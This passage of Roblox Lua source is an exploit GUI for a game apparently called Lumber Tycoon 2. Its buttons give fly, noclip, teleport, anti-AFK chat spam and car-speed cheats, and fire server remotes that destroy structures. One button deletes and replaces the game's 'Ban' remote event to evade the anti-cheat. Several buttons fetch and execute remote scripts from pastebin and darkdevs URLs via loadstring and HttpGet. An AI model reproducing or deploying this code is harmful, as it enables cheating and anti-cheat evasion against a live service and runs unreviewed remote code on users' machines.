Fly.Size = UDim2.new(0, 165, 0, 20)
Fly.Font = Enum.Font.Fantasy
Fly.FontSize = Enum.FontSize.Size18
Fly.Text = "Fly (Press again to STOP)"
Fly.TextColor3 = Color3.new(255, 0, 0)
Fly.TextSize = 15
Fly.MouseButton1Down:connect(function()

flying = not flying
repeat wait()
until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
local mouse = game.Players.LocalPlayer:GetMouse()
repeat wait() until mouse
local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 200
local speed = 0
if flying then
end
 
function FlyFunction()
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
repeat wait()
plr.Character.Humanoid.PlatformStand = true
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0.1,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
until not flying
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
end
mouse.KeyDown:connect(function(key)
if key:lower() == "w" then
ctrl.f = 1
elseif key:lower() == "s" then
ctrl.b = -1
elseif key:lower() == "a" then
ctrl.l = -1
elseif key:lower() == "d" then
ctrl.r = 1

end
end)
mouse.KeyUp:connect(function(key)
if key:lower() == "w" then
ctrl.f = 0
elseif key:lower() == "s" then
ctrl.b = 0
elseif key:lower() == "a" then
ctrl.l = 0
elseif key:lower() == "d" then
ctrl.r = 0
end
end)
FlyFunction()

end)

PinkWires.Name = "PinkWires"
PinkWires.Parent = toolaFrame
PinkWires.BackgroundColor3 = Color3.new(0, 0, 0)
PinkWires.BorderColor3 = Color3.new(0, 0, 0)
PinkWires.Position =  UDim2.new(0, 3, 0, 118)
PinkWires.Size = UDim2.new(0, 165, 0, 20)
PinkWires.Font = Enum.Font.Fantasy
PinkWires.FontSize = Enum.FontSize.Size18
PinkWires.Text = "Pink Wires"
PinkWires.TextColor3 = Color3.new(255, 0, 0)
PinkWires.TextSize = 15
PinkWires.MouseButton1Click:connect(function()
local typecurrent = false
if typecurrent == true then
        typecurrent = false
        PinkWires.TextColor3 = Color3.new(0.666667, 0, 0)
        PinkWires.Text = "Pink Wires: Magenta Icicle"
            local c = game.ReplicatedStorage.Purchasables:FindFirstChild("IcicleWireMagenta", true)
            c.Name = "Wire"
            local d = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
            d:Destroy()
elseif typecurrent == false then
        typecurrent = true
        PinkWires.TextColor3 = Color3.new(1, 1, 1)
        PinkWires.Text = "Pink Wires: Active"
            local a = game.ReplicatedStorage.Purchasables:FindFirstChild("NeonWirePinky", true)
            a.Name = "Wire"
            local b = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
            b:Destroy()
        end
end)

WaterCollide.Name = "WaterCollide"
WaterCollide.Parent = toolaFrame
WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
WaterCollide.BorderColor3 = Color3.new(0, 0, 0)
WaterCollide.Position =  UDim2.new(0, 3, 0, 141)
WaterCollide.Size = UDim2.new(0, 165, 0, 20)
WaterCollide.Font = Enum.Font.Fantasy
WaterCollide.FontSize = Enum.FontSize.Size18
WaterCollide.Text = "Walk On Water"
WaterCollide.TextColor3 = Color3.new(255, 0, 0)
WaterCollide.TextSize = 15
WaterCollide.MouseButton1Down:connect(function() 
    if WCollide == "Nothing" then
        WCollide = "On"
        WaterCollide.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
       WaterCollide.TextColor3 = Color3.new(1, 1, 1)
        WaterCollide.Text = "Water Is Solid"
        game:service'ReplicatedStorage'.Interaction.Ban:Destroy()
        Instance.new('RemoteEvent', game:service'ReplicatedStorage'.Interaction).Name = "Ban"
        for i,v in pairs(game.Workspace.Water:GetChildren()) do
            if v:IsA("Part") then
                v.CanCollide = true
            end
        end
    else
        WCollide = "Nothing"
        WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
        WaterCollide.TextColor3 = Color3.new(255, 0, 0)
        WaterCollide.Text = "Walk On Water"
        for i,v in pairs(game.Workspace.Water:GetChildren()) do
            if v:IsA("Part") then
                v.CanCollide = false
            end
        end
    end
end)


ClickTP.Name = "ClickTP"
ClickTP.Parent = toolaFrame
ClickTP.BackgroundColor3 = Color3.new(0, 0, 0)
ClickTP.BorderColor3 = Color3.new(0, 0, 0)
ClickTP.Position =  UDim2.new(0, 3, 0, 164)
ClickTP.Size = UDim2.new(0, 165, 0, 20)
ClickTP.Font = Enum.Font.Fantasy
ClickTP.FontSize = Enum.FontSize.Size18
ClickTP.Text = "ClickTP"
ClickTP.TextColor3 = Color3.new(255, 0, 0)
ClickTP.TextSize = 15
ClickTP.MouseButton1Click:Connect(function()
    mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)

Noclip.Name = "Noclip"
Noclip.Parent = toolaFrame
Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
Noclip.BorderColor3 = Color3.new(0, 0, 0)
Noclip.Position =  UDim2.new(0, 3, 0, 187)
Noclip.Size = UDim2.new(0, 165, 0, 20)
Noclip.Font = Enum.Font.Fantasy
Noclip.FontSize = Enum.FontSize.Size18
Noclip.Text = "No clip"
Noclip.TextColor3 = Color3.new(255, 0, 0)
Noclip.TextSize = 15
noclip = false
game:GetService('RunService').Stepped:connect(function()
if noclip then
game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
Noclip.TextColor3 = Color3.new(1, 1, 1)
Noclip.Text = "No Clip On"
end
end)
Noclip.MouseButton1Down:connect(function()
noclip = not noclip
Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
Noclip.TextColor3 = Color3.new(255, 0, 0)
Noclip.Text = "No Clip Off"

end)

AntiAFK.Name = "AntiAFK"
AntiAFK.Parent = toolaFrame
AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
AntiAFK.BorderColor3 = Color3.new(0, 0, 0)
AntiAFK.Position =  UDim2.new(0, 3, 0, 233)
AntiAFK.Size = UDim2.new(0, 165, 0, 20)
AntiAFK.Font = Enum.Font.Fantasy
AntiAFK.FontSize = Enum.FontSize.Size18
AntiAFK.Text = "Start Anti-AFK Mode"
AntiAFK.TextColor3 = Color3.new(255, 0, 0)
AntiAFK.TextSize = 15

AntiAFKtime.Name = "AntiAFKtime"
AntiAFKtime.Parent = toolaFrame
AntiAFKtime.BackgroundColor3 = Color3.new(0, 0, 0)
AntiAFKtime.BorderColor3 = Color3.new(0, 0, 0)
AntiAFKtime.Position =  UDim2.new(0, 3, 0, 210)
AntiAFKtime.Size = UDim2.new(0, 165, 0, 20)
AntiAFKtime.Font = Enum.Font.Fantasy
AntiAFKtime.FontSize = Enum.FontSize.Size18
AntiAFKtime.Text = "AFK for: 0 Seconds"
AntiAFKtime.TextColor3 = Color3.new(255, 0, 0)
AntiAFKtime.TextSize = 15


AntiAFK.MouseButton1Down:Connect(function()

    if afkactive == true then
        afkactive = false
		AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
                                          AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
		AntiAFK.Text = "Start Anti-AFK Mode"
    elseif afkactive == false then
        afkactive = true
		AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
		AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
		AntiAFK.Text = "Stop Anti-AFK Mode"

        logtime = coroutine.wrap(function()
			afktotaltime=0
			while afkactive == true do
				wait(1)
				afktotaltime=afktotaltime+1
				AntiAFKtime.Text = "AFK for: "..afktotaltime.." Seconds"
			end
		end)
	
        messageBot = coroutine.wrap(function()
			while afkactive == true do
				wait(900)
				possiblechats = {"afk", "brb", "I'm AFK"}
				decide=math.random(1,#possiblechats)
				game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(possiblechats[decide], "All")
				game.Players:Chat("/e point")
			end
		end)
		
	    moveChar = coroutine.wrap(function()
			plr = game:service'Players'.LocalPlayer
			char = plr.Character
			hum = char:FindFirstChildOfClass'Humanoid'
            while afkactive==true do
				wait(1)
				hum:Move(Vector3.new(1, 0, 0), false)
				wait(1)
				hum:Move(Vector3.new(-1, 0, 0), false)
				wait(1)
				hum:Move(Vector3.new(1, 0, 0), false)
				wait(1)
				hum:Move(Vector3.new(-1, 0, 0), false)
				wait(1)
				hum:Move(Vector3.new(0, 1, 0), false)
				wait(1)
				hum:Move(Vector3.new(0, 1, 0), false)
				wait(60)
			end
        end)
	
        logtime()
        moveChar()
        messageBot()

	end
end)


Fog.Name = "Fog"
Fog.Parent = toolaFrame
Fog.BackgroundColor3 = Color3.new(0, 0, 0)
Fog.BorderColor3 = Color3.new(0, 0, 0)
Fog.Position =  UDim2.new(0, 3, 0, 256)
Fog.Size = UDim2.new(0, 165, 0, 20)
Fog.Font = Enum.Font.Fantasy
Fog.FontSize = Enum.FontSize.Size18
Fog.Text = "Remove Fog"
Fog.TextColor3 = Color3.new(255, 0, 0)
Fog.TextSize = 15
Fog.MouseButton1Down:connect(function()
	Fog.BackgroundColor3 = Color3.new(0, 0, 0)
                      Fog.TextColor3 = Color3.new(1, 1, 1)
game.Lighting.Changed:connect(function()
	game.Lighting.TimeOfDay = "12:00:00"
	game.Lighting.FogEnd = 9999
	game.Lighting.Brightness = 2
end)
end)

CARAs.Name = "CARAs"
CARAs.Parent = toolaFrame
CARAs.BackgroundColor3 = Color3.new(0, 0, 0)
CARAs.BorderColor3 = Color3.new(0, 0, 0)
CARAs.Position = UDim2.new(0, 147, 0, 279)
CARAs.Size = UDim2.new(0, 21, 0, 20)
CARAs.Font = Enum.Font.Fantasy
CARAs.FontSize = Enum.FontSize.Size18
CARAs.Text = "S"
CARAs.TextColor3 = Color3.new(255, 0, 0)
CARAs.TextSize = 15

CARA.Name = "CARA"
CARA.Parent = toolaFrame
CARA.BackgroundColor3 = Color3.new(0, 0, 0)
CARA.BorderColor3 = Color3.new(0, 0, 0)
CARA.Position =  UDim2.new(0, 3, 0, 279)
CARA.Size = UDim2.new(0, 140, 0, 20)
CARA.Font = Enum.Font.Fantasy
CARA.FontSize = Enum.FontSize.Size18
CARA.Text = "Fast Car"
CARA.TextColor3 = Color3.new(255, 0, 0)
CARA.TextSize = 15
CARA.MouseButton1Down:connect(function()
CARA.BackgroundColor3 = Color3.new(0, 0, 0)
CARA.TextColor3 = Color3.new(1, 1, 1)
	game.Workspace.PlayerModels.ChildAdded:connect(function(ADDED)
 wait(0.5)
if ADDED:FindFirstChild('Configuration') then
 if ADDED.Configuration:FindFirstChild('MaxSpeed') then
  ADDED.Configuration.MaxSpeed.Value = CARAs.Text 
 end
 end
end)
end)

RemoveT.Name = "RemoveT"
RemoveT.Parent = toolaFrame
RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
RemoveT.BorderColor3 = Color3.new(0, 0, 0)
RemoveT.Position =  UDim2.new(0, 3, 0, 302)
RemoveT.Size = UDim2.new(0, 165, 0, 20)
RemoveT.Font = Enum.Font.Fantasy
RemoveT.FontSize = Enum.FontSize.Size18
RemoveT.Text = "Remove Trees"
RemoveT.TextColor3 = Color3.new(255, 0, 0)
RemoveT.TextSize = 15
RemoveT.MouseButton1Down:connect(function() 
	RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
                     RemoveT.TextColor3 = Color3.new(1, 1, 1)
for i,v in pairs(game.Workspace:GetDescendants()) do
    if v.Name == "WoodSection" and v.Parent:FindFirstChild("CutEvent") then
        game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(v.Parent)
        game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v.Parent)
    end
end
game.Workspace.DescendantAdded:connect(function(Thing)
    wait(0.1)
    if Thing.Name == "WoodSection" and Thing.Parent:FindFirstChild("CutEvent") then
        game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Thing.Parent)
        game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(Thing.Parent)
    end
end)
end)

ReJoinServer.Name = "ReJoinServer"
ReJoinServer.Parent = toolaFrame
ReJoinServer.BackgroundColor3 = Color3.new(0, 0, 0)
ReJoinServer.BorderColor3 = Color3.new(0, 0, 0)
ReJoinServer.Position =  UDim2.new(0, 3, 0, 325)
ReJoinServer.Size = UDim2.new(0, 165, 0, 20)
ReJoinServer.Font = Enum.Font.Fantasy
ReJoinServer.FontSize = Enum.FontSize.Size18
ReJoinServer.Text = "ReJoin Server"
ReJoinServer.TextColor3 = Color3.new(255, 0, 0)
ReJoinServer.TextSize = 15
ReJoinServer.MouseButton1Down:connect(function()
	local placeId = "13822889"
	game:GetService("TeleportService"):Teleport(placeId)
end)

Reset.Name = "Reset"
Reset.Parent = toolaFrame
Reset.BackgroundColor3 = Color3.new(0, 0, 0)
Reset.BorderColor3 = Color3.new(0, 0, 0)
Reset.Position =  UDim2.new(0, 3, 0, 348)
Reset.Size = UDim2.new(0, 165, 0, 20)
Reset.Font = Enum.Font.Fantasy
Reset.FontSize = Enum.FontSize.Size18
Reset.Text = "Reset Character"
Reset.TextColor3 = Color3.new(255, 0, 0)
Reset.TextSize = 15
Reset.MouseButton1Click:connect(function()
	game.Players.LocalPlayer.Character.Head:Destroy()
end)


local BuyFrame = Instance.new("Frame")
local Buymenu = Instance.new("ImageButton")
local bcps = Instance.new("TextButton")
local lshop = Instance.new("TextButton")
local fshop = Instance.new("TextButton")
local wrus = Instance.new("TextButton")
local bp = Instance.new("TextButton")
local ls = Instance.new("TextButton")

Buymenu.Name = "Buymenu"
Buymenu.Parent = Picker
Buymenu.BackgroundColor3 = Color3.new(1, 1, 1)
Buymenu.BorderColor3 = Color3.new(0, 0, 0)
Buymenu.Position = UDim2.new(0, 15, 0,515)
Buymenu.Size = UDim2.new(0, 80, 0, 80)
Buymenu.ZIndex = 3
Buymenu.Image = "rbxassetid://3936608288"
Buymenu.ScaleType = Enum.ScaleType.Crop
Buymenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = true
AIntroImage1.Visible = true
end)

BuyFrame.Name = "BuyFrame"
BuyFrame.Parent = MenuFrame
BuyFrame.BorderSizePixel = 1
BuyFrame.BackgroundTransparency = 0
BuyFrame.BorderColor3 = Color3.new(0, 0, 0)
BuyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
BuyFrame.Size = UDim2.new(0, 170, 0, 120)
BuyFrame.Visible = false

wrus.Name = "wrus"
wrus.Parent = BuyFrame
wrus.BackgroundColor3 = Color3.new(0, 0, 0)
wrus.BorderColor3 = Color3.new(0, 0, 0)
wrus.Position =  UDim2.new(0, 3, 0, 3)
wrus.Size = UDim2.new(0, 164, 0, 20)
wrus.Font = Enum.Font.Fantasy
wrus.FontSize = Enum.FontSize.Size18
wrus.Text = "Wod R Us"
wrus.TextColor3 = Color3.new(255, 0, 0)
wrus.TextSize = 15
wrus.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/fKZ8uQjD',true))()

end)

fshop.Name = "fshop"
fshop.Parent = BuyFrame
fshop.BackgroundColor3 = Color3.new(0, 0, 0)
fshop.BorderColor3 = Color3.new(0, 0, 0)
fshop.Position =  UDim2.new(0, 3, 0, 26)
fshop.Size = UDim2.new(0, 164, 0, 20)
fshop.Font = Enum.Font.Fantasy
fshop.FontSize = Enum.FontSize.Size18
fshop.Text = "Furniture Store"
fshop.TextColor3 = Color3.new(255, 0, 0)
fshop.TextSize = 15
fshop.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/S9SYLmVx',true))()

end)

bcps.Name = "bcps"
bcps.Parent = BuyFrame
bcps.BackgroundColor3 = Color3.new(0, 0, 0)
bcps.BorderColor3 = Color3.new(0, 0, 0)
bcps.Position =  UDim2.new(0, 3, 0, 49)
bcps.Size = UDim2.new(0, 164, 0, 20)
bcps.Font = Enum.Font.Fantasy
bcps.FontSize = Enum.FontSize.Size18
bcps.Text = "Bobs, Car, Pics"
bcps.TextColor3 = Color3.new(255, 0, 0)
bcps.TextSize = 15
bcps.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/nG51TnbL',true))()


end)

ls.Name = "ls"
ls.Parent = BuyFrame
ls.BackgroundColor3 = Color3.new(0, 0, 0)
ls.BorderColor3 = Color3.new(0, 0, 0)
ls.Position =  UDim2.new(0, 3, 0, 72)
ls.Size = UDim2.new(0, 164, 0, 20)
ls.Font = Enum.Font.Fantasy
ls.FontSize = Enum.FontSize.Size18
ls.Text = "Logic Store"
ls.TextColor3 = Color3.new(255, 0, 0)
ls.TextSize = 15
ls.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/eCtaBT4h',true))()

end)

bp.Name = "bp"
bp.Parent = BuyFrame
bp.BackgroundColor3 = Color3.new(0, 0, 0)
bp.BorderColor3 = Color3.new(0, 0, 0)
bp.Position =  UDim2.new(0, 3, 0, 96)
bp.Size = UDim2.new(0, 164, 0, 20)
bp.Font = Enum.Font.Fantasy
bp.FontSize = Enum.FontSize.Size18
bp.Text = "Blue Prints"
bp.TextColor3 = Color3.new(255, 0, 0)
bp.TextSize = 15
bp.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/4MCbKXUs',true))()

end)
local LT2GUI2Frame = Instance.new("Frame")
local Btoolamenu = Instance.new("ImageButton")
local FunStuffHOVER = Instance.new("TextButton")
local FunStuffTHOMAS = Instance.new("TextButton")
local FunStuffPOLICE = Instance.new("TextButton")
local FunStuffSPRAY = Instance.new("TextButton")
local FunStuffCOCA = Instance.new("TextButton")
local FunStuffLEAKED = Instance.new("TextButton")
local FunStuffFLASH = Instance.new("TextButton")
local FunStuffReset = Instance.new("TextButton")

Btoolamenu.Name = "Btoolamenu"
Btoolamenu.Parent = Picker
Btoolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
Btoolamenu.BorderColor3 = Color3.new(0, 0, 0)
Btoolamenu.Position = UDim2.new(0, 15, 0,600)
Btoolamenu.Size = UDim2.new(0, 80, 0, 80)
Btoolamenu.ZIndex = 3
Btoolamenu.Image = "rbxassetid://3953123880"
Btoolamenu.ScaleType = Enum.ScaleType.Crop
Btoolamenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = true
AIntroImage1.Visible = true
end)

LT2GUI2Frame.Name = "LT2GUI2Frame"
LT2GUI2Frame.Parent = MenuFrame
LT2GUI2Frame.BorderSizePixel = 1
LT2GUI2Frame.BackgroundTransparency = 0
LT2GUI2Frame.BorderColor3 = Color3.new(0, 0, 0)
LT2GUI2Frame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
LT2GUI2Frame.Size = UDim2.new(0, 170, 0, 186)
LT2GUI2Frame.Visible = false

FunStuffHOVER.Name = "FunStuffHOVER"
FunStuffHOVER.Parent = LT2GUI2Frame
FunStuffHOVER.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffHOVER.BorderColor3 = Color3.new(0, 0, 0)
FunStuffHOVER.Position =  UDim2.new(0, 3, 0, 3)
FunStuffHOVER.Size = UDim2.new(0, 165, 0, 20)
FunStuffHOVER.Font = Enum.Font.Fantasy
FunStuffHOVER.FontSize = Enum.FontSize.Size18
FunStuffHOVER.Text = "Hover Board"
FunStuffHOVER.TextColor3 = Color3.new(255, 0, 0)
FunStuffHOVER.TextSize = 15
FunStuffHOVER.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/Hoverboard.txt',true))()

end)

FunStuffTHOMAS.Name = "FunStuffTHOMAS"
FunStuffTHOMAS.Parent = LT2GUI2Frame
FunStuffTHOMAS.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffTHOMAS.BorderColor3 = Color3.new(0, 0, 0)
FunStuffTHOMAS.Position =  UDim2.new(0, 3, 0, 26)
FunStuffTHOMAS.Size = UDim2.new(0, 165, 0, 20)
FunStuffTHOMAS.Font = Enum.Font.Fantasy
FunStuffTHOMAS.FontSize = Enum.FontSize.Size18
FunStuffTHOMAS.Text = "Thomas The Tank"
FunStuffTHOMAS.TextColor3 = Color3.new(255, 0, 0)
FunStuffTHOMAS.TextSize = 15
FunStuffTHOMAS.MouseButton1Click:connect(function()
loadstring(game:HttpGet('http://pastebin.com/raw/tMr759X7',true))()

end)

FunStuffPOLICE.Name = "FunStuffPOLICE"
FunStuffPOLICE.Parent = LT2GUI2Frame
FunStuffPOLICE.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffPOLICE.BorderColor3 = Color3.new(0, 0, 0)
FunStuffPOLICE.Position =  UDim2.new(0, 3, 0, 49)
FunStuffPOLICE.Size = UDim2.new(0, 165, 0, 20)
FunStuffPOLICE.Font = Enum.Font.Fantasy
FunStuffPOLICE.FontSize = Enum.FontSize.Size18
FunStuffPOLICE.Text = "Police Man"
FunStuffPOLICE.TextColor3 = Color3.new(255, 0, 0)
FunStuffPOLICE.TextSize = 15
FunStuffPOLICE.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/FR9Fzcqw',true))()

end)

FunStuffSPRAY.Name = "FunStuffSPRAY"
FunStuffSPRAY.Parent = LT2GUI2Frame
FunStuffSPRAY.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffSPRAY.BorderColor3 = Color3.new(0, 0, 0)
FunStuffSPRAY.Position =  UDim2.new(0, 3, 0, 72)
FunStuffSPRAY.Size = UDim2.new(0, 165, 0, 20)
FunStuffSPRAY.Font = Enum.Font.Fantasy
FunStuffSPRAY.FontSize = Enum.FontSize.Size18
FunStuffSPRAY.Text = "Spray Can"
FunStuffSPRAY.TextColor3 = Color3.new(255, 0, 0)
FunStuffSPRAY.TextSize = 15
FunStuffSPRAY.MouseButton1Click:connect(function()
loadstring(game:HttpGet('http://pastebin.com/raw/raYkCjyy',true))()

end)

FunStuffCOCA.Name = "FunStuffCOCA"
FunStuffCOCA.Parent = LT2GUI2Frame
FunStuffCOCA.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffCOCA.BorderColor3 = Color3.new(0, 0, 0)
FunStuffCOCA.Position =  UDim2.new(0, 3, 0, 95)
FunStuffCOCA.Size = UDim2.new(0, 165, 0, 20)
FunStuffCOCA.Font = Enum.Font.Fantasy
FunStuffCOCA.FontSize = Enum.FontSize.Size18
FunStuffCOCA.Text = "Coca Cola"
FunStuffCOCA.TextColor3 = Color3.new(255, 0, 0)
FunStuffCOCA.TextSize = 15
FunStuffCOCA.MouseButton1Click:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/nMu90Kdq',true))()

end)

FunStuffLEAKED.Name = "FunStuffLEAKED"
FunStuffLEAKED.Parent = LT2GUI2Frame
FunStuffLEAKED.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffLEAKED.BorderColor3 = Color3.new(0, 0, 0)
FunStuffLEAKED.Position =  UDim2.new(0, 3, 0, 118)
FunStuffLEAKED.Size = UDim2.new(0, 165, 0, 20)
FunStuffLEAKED.Font = Enum.Font.Fantasy
FunStuffLEAKED.FontSize = Enum.FontSize.Size18
FunStuffLEAKED.Text = "Leaked Items"
FunStuffLEAKED.TextColor3 = Color3.new(255, 0, 0)
FunStuffLEAKED.TextSize = 15
FunStuffLEAKED.MouseButton1Down:connect(function() 
game.ReplicatedStorage.Purchasables:Clone().Parent = game.Workspace.PlayerModels
end)


FunStuffFLASH.Name = "FunStuffFLASH"
FunStuffFLASH.Parent = LT2GUI2Frame
FunStuffFLASH.BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffFLASH.BorderColor3 = Color3.new(0, 0, 0)
FunStuffFLASH.Position =  UDim2.new(0, 3, 0, 141)
FunStuffFLASH.Size = UDim2.new(0, 165, 0, 20)
FunStuffFLASH.Font = Enum.Font.Fantasy
FunStuffFLASH.FontSize = Enum.FontSize.Size18
FunStuffFLASH.Text = "Flash Light"
FunStuffFLASH.TextColor3 = Color3.new(255, 0, 0)
FunStuffFLASH.TextSize = 15
FunStuffFLASH.MouseButton1Click:Connect(function()

   FunStuffFLASH.BackgroundColor3 = Color3.new(0.14902, 0.490196, 0.109804)
-- Created by supersonicfan111
local p=game:GetService"Players".LocalPlayer
local c=p.Character
local surf='SmoothNoOutlines'
if not c then error'Cannot find character, please respawn, then rerun the script' end

-- Flashlight Handle
local hand=Instance.new"Part"
hand.BrickColor=BrickColor.DarkGray()
hand.Parent=c
hand.Anchored=false
hand.Locked=true
hand.CanCollide=false
hand.FormFactor='Custom'
hand.Size=Vector3.new(1,1,2)
hand.TopSurface,hand.BottomSurface=surf,surf

-- Torch Effect
local fe=Instance.new"Part"
fe.BrickColor=BrickColor.new"Black"
fe.Parent=c
fe.Anchored=false
fe.Locked=true
fe.CanCollide=false
fe.FormFactor='Custom'
fe.Size=Vector3.new(.8,.8,.2)
fe.TopSurface,hand.BottomSurface=surf,surf

-- Welding stuff

-- Flash to Right Arm
local weld1=Instance.new"Weld"
weld1.Parent=hand
weld1.Part0=hand
weld1.Part1=c['Right Arm']
weld1.C0=CFrame.new(0, 1.5, 0)

-- Torch Effect to Flash
local weld2=Instance.new"Weld"
weld2.Parent=hand
weld2.Part0=hand
weld2.Part1=fe
weld2.C0=CFrame.new(0, 0, 1)

-- Right Arm Weld
local ra=Instance.new"Weld"
ra.Parent=c['Torso']
ra.Part0=c['Right Arm']
ra.Part1=c['Torso']
ra.C0=CFrame.new(-1.5,1,0)*CFrame.Angles(math.rad(180),0,0)



-- Flashlight Functionality

local flashlightOn = false
local Battery=50

-- Handles turning the flashlight on/off
p:GetMouse().Button1Down:connect(function()
	flashlightOn=not flashlightOn
	if flashlightOn then
		fe.BrickColor=BrickColor.new"New Yeller"
		light=Instance.new"SurfaceLight"
		light.Parent=fe
		light.Range=1000
		light.Face="Back"
		light.Brightness=10
		fe.Material="Neon"
	else
		fe.BrickColor=BrickColor.new"Black"
		if light then light:destroy() end
		fe.Material="SmoothPlastic"
	end
end)

 -- Battery Modules
 
-- Depleting and Charging
spawn(function()
	while wait(1) do
		if flashlightOn then
			if Battery > 0 then
				Battery=Battery-1
			end
		else
			if Battery < 100 then
				Battery=Battery+1
			end
		end
		print(Battery)
	end
end)

-- Turning off flashlight if the battery is too low
spawn(function()
	while wait() do
		if Battery <= 0 then
			flashlightOn=false
			if light then light:destroy() end
			fe.BrickColor=BrickColor.new"Black"
			fe.Material="SmoothPlastic"
		end
	end
end)

local stepped = game:GetService'RunService'.RenderStepped
end)


FunStuffReset .Name = "FunStuffReset "
FunStuffReset .Parent = LT2GUI2Frame
FunStuffReset .BackgroundColor3 = Color3.new(0, 0, 0)
FunStuffReset .BorderColor3 = Color3.new(0, 0, 0)
FunStuffReset .Position =  UDim2.new(0, 3, 0, 164)
FunStuffReset .Size = UDim2.new(0, 165, 0, 20)
FunStuffReset .Font = Enum.Font.Fantasy
FunStuffReset .FontSize = Enum.FontSize.Size18
FunStuffReset .Text = "Reset Character"
FunStuffReset .TextColor3 = Color3.new(255, 0, 0)
FunStuffReset .TextSize = 15
FunStuffReset.MouseButton1Click:connect(function()
	game.Players.LocalPlayer.Character.Head:Destroy()
end)
local Menus = {
[Player] = PlayerFrame;
[Teleport] = Waypoints;
[AIntroImage] = BloodFrameInfo;
[Woodmenu] = WoodFrame;
[Copymenu] = CopyFrame;
[PaintFill] = PaintFills;
[Artmenu] = ArtFrame;
[toolamenu] = toolaFrame;
[Buymenu] = BuyFrame;
[Btoolamenu] = LT2GUI2Frame;
}
for button,frame in pairs(Menus) do
	button.MouseButton1Click:connect(function()
		if frame.Visible then
			frame.Visible = false
